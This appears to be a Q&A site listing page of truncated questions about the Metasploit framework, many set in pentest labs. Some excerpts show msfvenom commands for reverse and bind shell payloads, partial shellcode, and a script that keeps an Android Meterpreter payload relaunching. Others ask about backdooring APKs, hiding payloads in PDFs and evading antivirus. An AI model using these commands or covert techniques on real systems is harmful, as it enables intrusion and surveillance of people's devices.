Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
1
vote
0answers
53 views

Prevent Android Meterpreter being killed when apps are closed

This is the bash script for my android payload #!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done The issue is when I do Clear ...
1
vote
1answer
56 views

msfvenom payload available formats

How can you tell the available output formats for a given payload in msfvenom? For example: this wont work: msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf but this will: ...
0
votes
0answers
23 views

autorunscript metasploit

I'm trying to run the following autoscript use exploit/multi/handler set payload … set lhost set lport set AutoRunScript multi_console_command -r /root/script.rc set ...
0
votes
0answers
41 views

Metasploit: Issue with upgrading a low privilege shell (sessions -u)

Setup info: I don't believe this is the issue as I regularly update my system. I'll add one piece of information as an example. If you would really like to the rest then I can add more in later ...
0
votes
0answers
35 views

Are metasploit exploits always Port specific (smb-samba)?

So I was trying a machine on vulnhub i found port 139 open and also found its service and version on nmap scan that was samba-4.3.11 i also ran auxiliary scan module to confirm the version and service ...
0
votes
1answer
33 views

specific metasploit question about handler

Can the handler exploit/multi/handler handle a connection from another type of payload ? payload generation: msfvenom LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -p windows/...
0
votes
1answer
60 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
0
votes
0answers
17 views

Wmap and dir_scanner: use 301 response as not found criteria

Googled and found nothing, even looked wmap sources a little bit and I think I miss something. Could you please tell me if there any way to configure dir_scanner to understand 301 http code response ...
0
votes
0answers
34 views

Is it possible to embed a Metasploit post module in a Meterpreter payload?

For example, in order to use post/windows/manage/persistence_exe, you have to have an already established meterpreter session with target system and then run it. Is it possible to generate a SINGLE ...
0
votes
1answer
156 views

What is bindshell backdoor?

I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit. I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
1
vote
0answers
138 views

Metasploit always asks me to create MSF web service account

I run QubesOS on my laptop and created a StandaloneVM based on debian-10 template. I installed metasploit and created a database for the MSF web service and I was given a token for the API. I rebooted ...
0
votes
0answers
42 views

metasploit cannot open session even with target is metasploitable2

I have tried to use metasploit framework 5.0.71-dev to exploit metasploitable2 by modules exploit/multi/samba/usermap_script and exploit/unix/irc/unreal_ircd_3281_backdoor but none of them succeeded. ...
0
votes
1answer
37 views

msfconsole and using bash variables

When trying to set RHOSTS for an auxiliary module, I tried using $server which is a bash variable I've set before entering msfconsole. It is not readable from within msfconsole and searching the ...
0
votes
0answers
91 views

Is it possible to build an msvenom Android .apk using a custom source .apk?

I am trying to find any way to create a payload .apk using msfvenom and not using its provided list. I want to use my own .apk as the base. I have found similar functionality for Windows payloads, but ...
0
votes
0answers
36 views

Exploit remote server through routing on existing meterpreter session

Trying to pivot from an existing meterpreter session on remote machine to a DC server (ip 172.16.13.26) using ms17_101_psexec module. (I know this module woorks on this server). Existing meterpreter ...
0
votes
1answer
62 views

Metasploit as a Daemon creator

is using metasploit post exploit tools an easy way to create a "daemon"? I mean I can just add my awesome.exe to the payload and migrate the payload to svchost.exe and it will persist on the machine ...
1
vote
2answers
78 views

Meterpreter Session over OpenVPN [closed]

Last month I made a pentesting course and now they opened a lab for us to practice before we apply for the certification exam. We connect to the lab over OpenVPN in our Kali Linux machine. I'm trying ...
0
votes
1answer
123 views

Buffer Overflow PoC code \x11(setup sound

I am reading the PWK course book, the chapter of Linux Buffer Overflow: Once the crossfire application is running, we can use the following Proof of Concept (PoC) code, found on the Exploit ...
0
votes
0answers
49 views

How to create a metasploit module with an external gem

I am trying to create a metasploit module with a gem that is not installed base. I followed the procedure here: https://github.com/rapid7/metasploit-framework/wiki/How-to-add-and-update-gems-in-...
0
votes
2answers
135 views

Is it safe to browse the internet with unpatched iPhone with iOS 13.1.3?

I am using unpatched iPhone that has IOS 13.1.3 installed. Apple released IOS 13.1.3 15 Oct 2019. Are there any vulnerabilities for IOS 13.1.3's safari that are currently being exploited in the wild?...
0
votes
0answers
104 views

msfvenom: backdoored apk

I am using msfvenom to backdoor an Android apk. It is supposed that msfvenom adds extra permissions to original AndroidManifest: [*] Poisoning the manifest with meterpreter permissions.. [*] Adding &...
2
votes
0answers
391 views

Help with meterpreter reverse https

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly. 1st ...
0
votes
0answers
50 views

Exploitation differences between Docker and VirtualBox for CVE-2010-4221

I am currently working on a research project where I analyze exploits in different virtualized environments. As an example I picked ProFTPd v1.3.3c which has a remote code execution vulnerability. I ...
1
vote
0answers
68 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
2
votes
1answer
611 views

Newer techniques for Meterpreter AV bypass

Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
0
votes
1answer
656 views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
1
vote
0answers
527 views

Nmap Shows all ports are closed [closed]

I am facing a problem with Nmap while scanning metasploitable. I am using two different PCs. One with Kali Linux by using USB boot and on other PC using Metasploitable running on VMWare. I have ...
0
votes
1answer
288 views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
0
votes
0answers
40 views

Is there a way to add an HTTP header before using a metasploit module

I'm quite confused and I didnt find a way to figure how to add a custom header or for exemple an Authentication Header before using/running a module on metasploit. My question is: there is a way to ...
1
vote
1answer
254 views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
184 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
3k views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
3
votes
1answer
919 views

How can we embed an exe containing a payload into a pdf file [closed]

I have created an exe with a payload which gives me a meterpreter session. But I need to embed this exe into a pdf. Upon opening the pdf the exe ideally should get executed. Is there any way to do ...
0
votes
0answers
119 views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
1
vote
2answers
133 views

Metasploit multi handler reverse tcp connection

Can we listen for 10 connections at once using any options present in Metasploit.
0
votes
0answers
61 views

ms08_067_netapi exploit & pivoting problem

I'm having troubles with ms08_067_netapi. I have a private network with a web server (10.10.2.10), windows 7 (10.10.2.8) and windows XP (10.10.2.9). I'm hacking from outside the private network with ...
2
votes
1answer
242 views

why my Metasploit folder does not have wordlists folder (usr/share/)?

I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config. I am not sure how that happened but my msf is updated. Is there any ...
1
vote
0answers
40 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
0
votes
1answer
83 views

metasploit openvas plugin not connecting to OpenVAS9-Manager

I recently installed openvas9 following this guide. I can log into the web interface on port 4000 just fine, and I ran a scan on my metasploitable VM for testing, and it seems good. Now I wanted to ...
-2
votes
1answer
733 views

Metasploit targets list import [closed]

I would like to know if in metasploit for any given exploit its possible to use a target list instead of a single target and if possible how is that done?
-2
votes
2answers
794 views

Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
0
votes
0answers
969 views

How to make metasploit backdoor persistent in Android?

I created a payload with msfvenom and installed it on Android smartphone, but after a reboot or long time without use, it stops working, because the OS kills the process. Is there any way to ...
0
votes
0answers
45 views

Snort rules to detect metasploit's trojan [duplicate]

I'm currently working on Snort and I'm trying to detect meterpreter sessions in reverse TCP or HTTPS, a Trojan ... Does anyone know snort rules in order to detect this? Despite my research, I found ...
2
votes
1answer
1k views

Stored XSS + PHP Backdoor + File upload vulnerability

I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS. My route of attack is: Upload a PHP backdoor which I built with msfvenom Go to ...
0
votes
1answer
73 views

Is exploit different from the kernel level or root?

i'm searching privilage escalation. there is some way if you looking at. i trying exploit in my lab machine like vulnhub. there is a diagram for understanding differents. anyway I told you a little. ...
0
votes
0answers
347 views

Failed to load module: [Directory/tomcat_cgi_cmdlineargs]?

Note: Only for educational purposes. Basically I am studying CVE-2019-0232, as It says in the cvedetails description its a RCE exploit and a module from rapid 7 has been provide at the bottom of the ...
1
vote
0answers
363 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
1
vote
0answers
56 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
0
votes
1answer
224 views

SSH_login not prompting meterprepter?

So Basically I am trying to create a SSH session in metasploit. session opens successfully when I do sessions #, it prints [*] Starting interaction with 4... but when I do a dir, no result or no ...
0
votes
1answer
1k views

Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)

I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...

1
2 3 4 5
9